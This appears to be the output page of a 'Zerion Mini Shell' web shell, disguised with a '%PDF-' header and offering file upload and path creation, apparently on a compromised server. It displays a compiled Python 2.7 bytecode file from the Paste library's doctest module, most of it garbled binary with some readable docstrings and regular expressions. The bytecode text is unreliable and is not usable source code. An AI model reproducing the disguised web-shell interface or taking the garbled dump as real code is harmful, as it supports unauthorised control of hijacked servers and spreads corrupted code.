%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/paste/debug/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyo

�
|��Wc
@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZej
je�Zej
jej
jej
je���Zd�Zd�Zed�Zd�Zd	�Zded
d�Zdadad�Zd
�Zd�Zd�Z d�Z!d�Z"d�Z#ddd�Z$d�Z%d�Z&d�Z'dej(fd��YZ)e*dkr�ej+dr�ej+ddkr�ej,�ej-�neej
kr�ej
j.e�nx�ej+dD]~Z/ej
je/�Z/e/e_0ej1e/dedej2ej3Bde)��ej
j4e/�d
dZ5ej6d e/e5f�qWndS(!s>
These are functions for use when doctest-testing a document.
i����N(tStringIO(t
PySourceColorcCst|�}|r|GHndS(N(trun_raw(tcommandtdata((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytrunsc
Cs�tj|dtdtjdtjdt��}|jj�}|j�x,|j	d�sj|j	d�rw|d }qLW|r�dj
g|j�D]}|r�|^q��}|SdSd	S(
s6
    Runs the string command, returns any output.
    tshelltstderrtstdouttenvs
s
i����tN(t
subprocesstPopentTruetSTDOUTtPIPEt	_make_envRtreadtwaittendswithtjoint
splitlines(RtprocRtl((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyRs	
!(cCsMt|�}d||f}td|ddd|�|rI|rI|GHndS(Ns$ %s
%ss
shell-commandtdescriptionsshell transcriptR(Rt	show_file(Rtnamet	and_printtoutputR((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytrun_command1scCs~tjj�}|jdd�dtjjtd�dtjjtdddd�|d<|jdd�dt|d<|S(	NtPATHR
t:tscriptstpastes	3rd-partyssqlobject-filest
PYTHONPATH(tostenvirontcopytgettpathRtpaste_parent(R	((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyR9s
<cCstj|t�dS(s.
    Clears (deletes) the given directory
    N(tshutiltrmtreeR
(tdir((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyt	clear_dirFsicCs�|ptj�}tj|�}|j�x�|D]}tjj||�}tjj|�rl|d}nd||GHtjj|�r2|r2td|dtd|d�q2q2WdS(s"
    Show a directory listing
    t/t R+trecursetindentiN(	R#tgetcwdtlistdirtsortR'RtisdirtlsR
(R+R/R0tfnstfntfull((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyR5Ls



cCs|a|adS(N(tdefault_apptdefault_url(tappturl((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytset_default_app^scCsGtjjtjjtj�dtjjtjjtj��d|�S(sj
    Returns the filename of the resource -- generally in the directory
    resources/DocumentName/fn
    t	resourcesi(R#R'Rtdirnametsysttesting_document_filenametsplitexttbasename(R7((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytresource_filenameds
	"cCs�t|d�}t�}t|}|jd||f�|jd�tjdddd|gdtjd	tjd
t��}|j�\}}t|�}t	j
|�}|j�}	x�|j�D]�\}
}|
j
�dkrt|j�d�d
krq�n|
j
�dkrq�n|
j
�dkrF|jd�rFq�n|jd|
|f�q�Wg|	j�D]}|j�rn|^qn}
x|
D]}|j|d�q�W|r�|jd|�n|jd�|j�}tjj|�st|d�}|j|�|j�njt|d�}|j�}|j�t||�s�d|GHddGH|GHddGHdGHddGH|GHndS(Ns.htmls9<span class="doctest-url"><a href="%s">%s</a></span><br>
s<div class="doctest-example">
tpastersserve--server=consoles--no-verboses--url=RRR	tstatusii�scontent-typescontent-lengths
set-cookiet_SID_s/<span class="doctest-header">%s: %s</span><br>
s
s$<pre class="doctest-errors">%s</pre>s</div>
twbtrbs'Pages did not match.  Expected from %s:t-i<t=sActual output:(scontent-typescontent-length(RDRR:twriteRRRRtcommunicatetrfc822tMessageRtitemstlowertinttsplitt
startswithRtstriptgetvalueR#R'texiststopentclosethtml_matches(t	path_infotexample_nameR7toutR<RRterrorstheaderstcontenttheadertvalueRtlinestlinetresulttftexpected((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytshowosb	
	
	
		.	+
	



				cCsPtj|�}|jdd�}tjdd|�}d|}tj||�S(Ns\.\.\.s.*s0x[0-9a-f]+s^%s$(tretescapetreplacetsubtsearch(tpatternttexttregex((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyRZ�s

cCs�|jd�r|d}n|j�}g}x=|D]5}|j�dkr]|jd�q5|j|�q5Wdj|�d}|S(Ns
it.R
(RTRtrstriptappendR(RRct	new_linesRd((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytconvert_docstring_string�s

cCs*t|�}t||�t||�dS(N(Rut
write_dataR(R'tversionR((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytcreate_file�s
cCs�t|�}t|d�}|j|�|j�|jd�rp|d}tjj|�rptj|�qpnt	||dd|d|�dS(Ntas.pytcRsadded to %sR(
RuRXRLRYRR#R'RWtunlinkR(R'RwRRftpyc_file((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytappend_to_file�s


cCs�tjj|�d}|dkrJt|d�}|j�}|j�n|dkrrdtj|tj	�}ndt
j|d�}d|p�||f}tt
d||f�|�dS(NiRIs.pys!<div class="source-code">%s</div>s!<pre class="source-code">%s</pre>s-<span class="source-filename">%s</span><br>%ss%s.%s.gen.html(R#R'RBtNoneRXRRYRtstr2htmltdarktcgiRjRvRD(R'RwRRtextRfthtml((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyR�s
cCsZtjddddd|gdtdtj�}|j|�\}}|}|j�|S(Nssource-highlights--out-format=htmls--no-docs
--css=nones
--src-lang=%sRR(RRtFalseRRMR(tinputtformatRRRRe((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytcall_source_highlight�s
cCsjtjjtjj|��}tjj|�s@tj|�nt|d�}|j|�|j�dS(NRH(	R#R'R?tabspathRWtmakedirsRXRLRY(R'RR+Rf((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyRv�s
cCs�ttjj|�d�}|j�}|j�xR|D]J\}}}|dkrf|g|||+q8|dkr8g|||+q8q8Wt|d�}|jdj|��|j�dS(NRItinserttdeleteRHR
(RXR#R'R�t	readlinesRYRLR(R'tchangesRfRctchange_typeRdRo((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytchange_file�s
tLongFormDocTestParsercBs?eZdZejdejejB�Zd�Zdd�Z	RS(s�
    This parser recognizes some reST comments as commands, without
    prompts or expected output, like:

    .. run:

        do_this(...
        ...)
    s�
        # Source consists of a PS1 line followed by zero or more PS2 lines.
        (?: (?P<source>
                (?:^(?P<indent> [ ]*) >>>    .*)    # PS1 line
                (?:\n           [ ]*  \.\.\. .*)*)  # PS2 lines
            \n?
            # Want consists of any non-blank lines that do not start with PS1.
            (?P<want> (?:(?![ ]*$)    # Not a blank line
                         (?![ ]*>>>)  # Not a line starting with PS1
                         .*$\n?       # But any other line
                      )*))
        | 
        (?: # This is for longer commands that are prefixed with a reST
            # comment like '.. run:' (two colons makes that a directive).
            # These commands cannot have any output.

            (?:^\.\.[ ]*(?P<run>run):[ ]*\n) # Leading command/command
            (?:[ ]*\n)?         # Blank line following
            (?P<runsource>
                (?:(?P<runindent> [ ]+)[^ ].*$)
                (?:\n [ ]+ .*)*)
            )
        |
        (?: # This is for shell commands

            (?P<shellsource>
                (?:^(P<shellindent> [ ]*) [$] .*)   # Shell line
                (?:\n               [ ]*  [>] .*)*) # Continuation
            \n?
            # Want consists of any non-blank lines that do not start with $
            (?P<shellwant> (?:(?![ ]*$)
                              (?![ ]*[$]$)
                              .*$\n?
                           )*))
        c	Cs|jd�pd}t|jd|��}|jd|�jd�}|rq|j|dd|||�n8|j||||�|j|dd|d	||�|r�djg|D]}||^q��}n*djg|D]}||d
^q��}|rd}	d}
n�|jd�}	|	jd�}t|�dkrgtjd|d
�rg|d
=n|j|d|||t|��djg|D]}||^q��}	|j	j|	�}|r�|jd�}
nd}
|j
|||�}
||
|	|
fS(s?
        Given a regular expression match from `_EXAMPLE_RE` (`m`),
        return a pair `(source, want)`, where `source` is the matched
        example's source code (with prompts and indentation stripped);
        and `want` is the example's expected output (with indentation
        stripped).

        `name` is the string's name, and `lineno` is the line number
        where the example starts; both are used for error messages.

        >>> def parseit(s):
        ...     p = LongFormDocTestParser()
        ...     return p._parse_example(p._EXAMPLE_RE.search(s), '<string>', 1)
        >>> parseit('>>> 1\n1')
        ('1', {}, '1', None)
        >>> parseit('>>> (1\n... +1)\n2')
        ('(1\n+1)', {}, '2', None)
        >>> parseit('.. run:\n\n    test1\n    test2\n')
        ('test1\ntest2', {}, '', None)
        RR
s%sindents%ssources
iR.iRqitwants *$i����tmsgN(tgrouptlenRSt
_check_prefixt_check_prompt_blankRR~Ritmatcht
_EXCEPTION_REt
_find_options(tselftmRtlinenotrunnerR0tsource_linestsltsourceR�texc_msgt
want_linestwltoptions((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyt_parse_example2s4!")*	(
&s<string>c
Cs�|j�}|j|�}|dkrYdjg|jd�D]}||^q=�}ng}d\}}x|jj|�D]�}|j|||j�!�||jd||j��7}|j	|||�\}	}
}}|j
|	�s@|jtj|	||d|d|t
|jd�p,|jd��d|
��n||jd|j�|j��7}|j�}q~W|j||�|S(s=
        Divide the given string into examples and intervening text,
        and return them as a list of alternating Examples and strings.
        Line numbers for the Examples are 0-based.  The optional
        argument `name` is a name identifying this string, and is only
        used for error messages.
        is
R�R0t	runindentR�(ii(t
expandtabst_min_indentRRSt_EXAMPLE_REtfinditerRststarttcountR�t_IS_BLANK_OR_COMMENTtdoctesttExampleR�R�tend(
R�tstringRt
min_indentRRtcharnoR�R�R�R�R�R�((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pytparsets(2!(
%(
t__name__t
__module__t__doc__Ritcompilet	MULTILINEtVERBOSER�R�R�(((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyR�s

"	Bt__main__iR�tmodule_relativetoptionflagstparsers.htmlsrst2html.py %s > %s(7R�RR�R#R@R)RiR�RNt	cStringIORt
paste.utilRR'R�t__file__thereR?R(RRR�RRR,R~R5R9R:R=RDRhRZRuRxR}RR�RvR�t
DocTestParserR�R�targvttestmodtexitRsR7RAttestfiletELLIPSIStREPORT_ONLY_FIRST_FAILURERBtnewtsystem(((sK/opt/alt/python27/lib/python2.7/site-packages/paste/debug/doctest_webapp.pyt<module>s`	!			
				6		
						� 

	


Zerion Mini Shell 1.0